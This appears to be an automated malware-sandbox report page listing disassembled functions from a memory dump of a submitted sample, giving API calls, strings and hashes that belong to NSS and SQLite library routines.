Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: c15ae2390a669d7c2941af2619f0c489e007aab89e694a94becab43458caa229
Instruction ID: 52805ca635555365fb033c02f28d0353b9035f82e1a9c08be78b0fb8dc14ea04
Opcode Fuzzy Hash: c15ae2390a669d7c2941af2619f0c489e007aab89e694a94becab43458caa229
Instruction Fuzzy Hash: 343144B29053529BE7208F5A8C44B9B76A8AF8635CF140539ED1897B00EB71D914C7FB

Function 6C5B7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5B7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C5B7EE7, 6C5B7F28
database corruption, xrefs: 6C5B7EE2, 6C5B7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B7ED8, 6C5B7F08, 6C5B7F19

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d049b987b2952e753f4155d0148d339ccaddaf9e80551ab608442a6b181275b2
Instruction ID: c1b17b7b9ce4af6a465e34c9a21a115b7858085e65fc50beb2fba3ad14e2f838
Opcode Fuzzy Hash: d049b987b2952e753f4155d0148d339ccaddaf9e80551ab608442a6b181275b2
Instruction Fuzzy Hash: F1619070B042059FDB05CF65CCA0BAA3BA2BF85348F1449A8EC096BB52D730EC55CBB1

Function 6C59FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C59FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C59FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59FE83

Part of subcall function 6C59FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C59FEFA
Part of subcall function 6C59FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C59FF3B

Strings

%s at line %d of [%.10s], xrefs: 6C59FD73, 6C59FE35
database corruption, xrefs: 6C59FD6E, 6C59FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59FD64, 6C59FE26

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 22469914acfcd73234032d3df7fa2a147a581237517e43a1dabbd17c3bf7c706
Instruction ID: 4c269f98f293713a0cdee490fdc66cb3358d7a9349b0a83798b66ae0b1ef010f
Opcode Fuzzy Hash: 22469914acfcd73234032d3df7fa2a147a581237517e43a1dabbd17c3bf7c706
Instruction Fuzzy Hash: A9519071A00245DFDB04CFA9CD90AAEB7B1FF48308F1441A9E905AB756E731ED50CBA0

Function 6C6E2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E2FFD
sqlite3_initialize.NSS3 ref: 6C6E3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6E3032
sqlite3_mprintf.NSS3(6C74AAF9,?), ref: 6C6E3073
sqlite3_free.NSS3(?), ref: 6C6E30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6E30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6E30BB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e8f5d2cdc4e8c9e84766e5c035799ab4f2738b603b026f2710dcabc7d6944a99
Instruction ID: e67e6a2172f790b14b29e50316ff2bad289610843b3f9362628b6ff7babb183c
Opcode Fuzzy Hash: e8f5d2cdc4e8c9e84766e5c035799ab4f2738b603b026f2710dcabc7d6944a99
Instruction Fuzzy Hash: A041D171605606ABDB00CF25D844A8AB7E5FF88368F048639EC5987B50E731F955CBD0

Function 6C665ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]fl), ref: 6C665F0A
TlsGetValue.KERNEL32 ref: 6C665F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C665F2F
PR_Unlock.NSS3(890008E8), ref: 6C665F55
PR_SetError.NSS3(00000000,00000000), ref: 6C665F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C665F7D

Part of subcall function 6C665220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C665F82,8B4274C0), ref: 6C665248
Part of subcall function 6C665220: EnterCriticalSection.KERNEL32(0F6C730D,?,6C665F82,8B4274C0), ref: 6C66525C
Part of subcall function 6C665220: PR_SetError.NSS3(00000000,00000000), ref: 6C66528E
Part of subcall function 6C665220: PR_Unlock.NSS3(0F6C72F1), ref: 6C665299
Part of subcall function 6C665220: free.MOZGLUE(00000000), ref: 6C6652A9

Strings

q]fl, xrefs: 6C665EDB, 6C665F09

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]fl
API String ID: 3150690610-3774891092
Opcode ID: 54b1262367e8bcb4557e51632176437283a3f7b2d134b37e6b2b955f3410d5db
Instruction ID: 395c21bdbd08bf6e5bb513b324c4f49b1d991ac6a206ed12332373b2569356ae
Opcode Fuzzy Hash: 54b1262367e8bcb4557e51632176437283a3f7b2d134b37e6b2b955f3410d5db
Instruction Fuzzy Hash: 3421E7B1D002045FDB10AF65DC45AEEB7F4EF49318F540039E94AA7701EB31A954CBDA

Function 6C628CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C63124D,00000001), ref: 6C628D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C63124D,00000001), ref: 6C628D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C63124D,00000001), ref: 6C628D73
PR_Unlock.NSS3(?,?,?,?,?,6C63124D,00000001), ref: 6C628D8C

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C63124D,00000001), ref: 6C628DBA

Strings

KRAM, xrefs: 6C628CF9
KRAM, xrefs: 6C628D3E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d8dbdc4896db3071a00742a03bc249ad8624c12ab42d9f49d4da1a3d2c32e9cc
Instruction ID: 7deea0b7ee23770f6778808734027414258b3c7c2d9508ad94f66b5b40a8a9f9
Opcode Fuzzy Hash: d8dbdc4896db3071a00742a03bc249ad8624c12ab42d9f49d4da1a3d2c32e9cc
Instruction Fuzzy Hash: 3E217EB2A046018FCB00AF38C8845AAB7F0FF59308F15896AD8988B711D738D845CF99

Function 6C720ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C720EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C720EFA

Part of subcall function 6C60AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C60AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C720ED9, 6C720EE5, 6C720F06, 6C720F0B
Aborting, xrefs: 6C720EB3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 55097f733100808921850355d9fe43e550e6afe3cf0380d78a65754e8736e6c8
Instruction ID: ac4fa070ac18635fd09c238d921ec151c7c26b954bfd9b1c61075c9bc29c161d
Opcode Fuzzy Hash: 55097f733100808921850355d9fe43e550e6afe3cf0380d78a65754e8736e6c8
Instruction Fuzzy Hash: 4701C0B5A00214ABDF11AF64DD598AB3F3CEF46365F004075FD0997711D635ED109AA2

Function 6C701C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=`l,?,?,6C604E1D), ref: 6C701C8A
sqlite3_free.NSS3(00000000), ref: 6C701CB6

Strings

a generated column, xrefs: 6C701C6C
an index, xrefs: 6C701C67
non-deterministic use of %s() in %s, xrefs: 6C701C85
a CHECK constraint, xrefs: 6C701C76, 6C701C81
w=`l, xrefs: 6C701C44

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=`l
API String ID: 1840970956-2387892410
Opcode ID: a2276388678e41f5987af2b8f57292543504a0fd39f6af97a739c2b033ee5484
Instruction ID: 5ac5f2955680bd1e0fea9c8083c567fc1979a8ff34978f0fbeb5dbe72871086f
Opcode Fuzzy Hash: a2276388678e41f5987af2b8f57292543504a0fd39f6af97a739c2b033ee5484
Instruction Fuzzy Hash: 950147B1B001408BD700BB68D81297273E5EFC238CB15887DEC899BB02EB22EC57C751

Function 6C6E4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6E4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6E4DE0

Strings

misuse, xrefs: 6C6E4DD5
%s at line %d of [%.10s], xrefs: 6C6E4DDA
invalid, xrefs: 6C6E4DB8
API call with %s database connection pointer, xrefs: 6C6E4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E4DCB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: a4a16fce0da0992d9ac9745781084a50fca9e88b4a7f8853345b121f4c270a88
Instruction ID: 38c770e4e16a28b2d3c8856218b4e1cf617f7c80fc97815ac8381730c96b2b31
Opcode Fuzzy Hash: a4a16fce0da0992d9ac9745781084a50fca9e88b4a7f8853345b121f4c270a88
Instruction Fuzzy Hash: 16F05921F1E6287BD70140B6CD21FE233D94F0932CF4649A2FE046BE52D2869E5082C9

Function 6C6E4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6E4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6E4E4D

Strings

misuse, xrefs: 6C6E4E42
%s at line %d of [%.10s], xrefs: 6C6E4E47
invalid, xrefs: 6C6E4E25
API call with %s database connection pointer, xrefs: 6C6E4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E4E38

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 3ca60a4e8d865a6c1a85e8322f605f9fabde49f23898b2c8ca47a41960b37b7f
Instruction ID: befc05a72731a65e0b99aab6541c9edc17b04dd192df40dae31687b9a091aaec
Opcode Fuzzy Hash: 3ca60a4e8d865a6c1a85e8322f605f9fabde49f23898b2c8ca47a41960b37b7f
Instruction Fuzzy Hash: 61F09E20F4E5287BD60002F5CD10FE23389470532DF48C4B2EE0427F82C6459E6602D9

Function 6C619FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C61A086
EnterCriticalSection.KERNEL32(?), ref: 6C61A09B
PR_Unlock.NSS3(?), ref: 6C61A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61A0E9
TlsGetValue.KERNEL32 ref: 6C61A11B
EnterCriticalSection.KERNEL32(?), ref: 6C61A12F
PR_Unlock.NSS3(?), ref: 6C61A148

Part of subcall function 6C631A40: PR_Now.NSS3(?,00000000,6C6128AD,00000000,?,6C62F09A,00000000,6C6128AD,6C6193B0,?,6C6193B0,6C6128AD,00000000,?,00000000), ref: 6C631A65

Part of subcall function 6C631940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C634126,?), ref: 6C631966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61A1A3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: fbc57727d0ae56a24c143f9d4424bffb3bbe541a2d5bec2d76ae7809e18c87ad
Instruction ID: c41a83dcebe5bd72fce4aa6458f0d7cd6d95857b1ef45d76ea9079eb9052f2dc
Opcode Fuzzy Hash: fbc57727d0ae56a24c143f9d4424bffb3bbe541a2d5bec2d76ae7809e18c87ad
Instruction Fuzzy Hash: EB51F771A043049FEB119F3DCC44AAB77B8AF8631EB154439DC2997B02EF31D949C6A9

Function 6C650C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?,?,00000000,?,?), ref: 6C650CB3

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?), ref: 6C650DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?), ref: 6C650DEC

Part of subcall function 6C670F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C612AF5,?,?,?,?,?,6C610A1B,00000000), ref: 6C670F1A
Part of subcall function 6C670F10: malloc.MOZGLUE(00000001), ref: 6C670F30
Part of subcall function 6C670F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C670F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?), ref: 6C650DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C651444,?,00000001,?,00000000), ref: 6C650E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?), ref: 6C650E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?,?,00000000), ref: 6C650E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C651444,?,00000001,?,00000000,00000000,?), ref: 6C650E79

Part of subcall function 6C661560: TlsGetValue.KERNEL32(00000000,?,6C630844,?), ref: 6C66157A
Part of subcall function 6C661560: EnterCriticalSection.KERNEL32(?,?,?,6C630844,?), ref: 6C66158F
Part of subcall function 6C661560: PR_Unlock.NSS3(?,?,?,?,6C630844,?), ref: 6C6615B2

Part of subcall function 6C62B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C631397,00000000,?,6C62CF93,5B5F5EC0,00000000,?,6C631397,?), ref: 6C62B1CB
Part of subcall function 6C62B1A0: free.MOZGLUE(5B5F5EC0,?,6C62CF93,5B5F5EC0,00000000,?,6C631397,?), ref: 6C62B1D2

Part of subcall function 6C6289E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6288AE,-00000008), ref: 6C628A04
Part of subcall function 6C6289E0: EnterCriticalSection.KERNEL32(?), ref: 6C628A15
Part of subcall function 6C6289E0: memset.VCRUNTIME140(6C6288AE,00000000,00000132), ref: 6C628A27
Part of subcall function 6C6289E0: PR_Unlock.NSS3(?), ref: 6C628A35

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 174ea45396bfa6ea6e38e93dde5f4d5e2e05bfc97f1947d615214b8ced174e6a
Instruction ID: 769c4ceac30fa0233b3b8fb34455bfd588542a98345047938ac74ee438115cbb
Opcode Fuzzy Hash: 174ea45396bfa6ea6e38e93dde5f4d5e2e05bfc97f1947d615214b8ced174e6a
Instruction Fuzzy Hash: E551C9B6E002105FEB009F64DC41AAB37A8EF4631CF651124ED0997712F735ED2587AE

Function 6C606E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C606ED8
sqlite3_value_text.NSS3(?,?), ref: 6C606EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C606FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C606FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C606FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C607010
sqlite3_value_blob.NSS3(?,?), ref: 6C60701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C607052

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
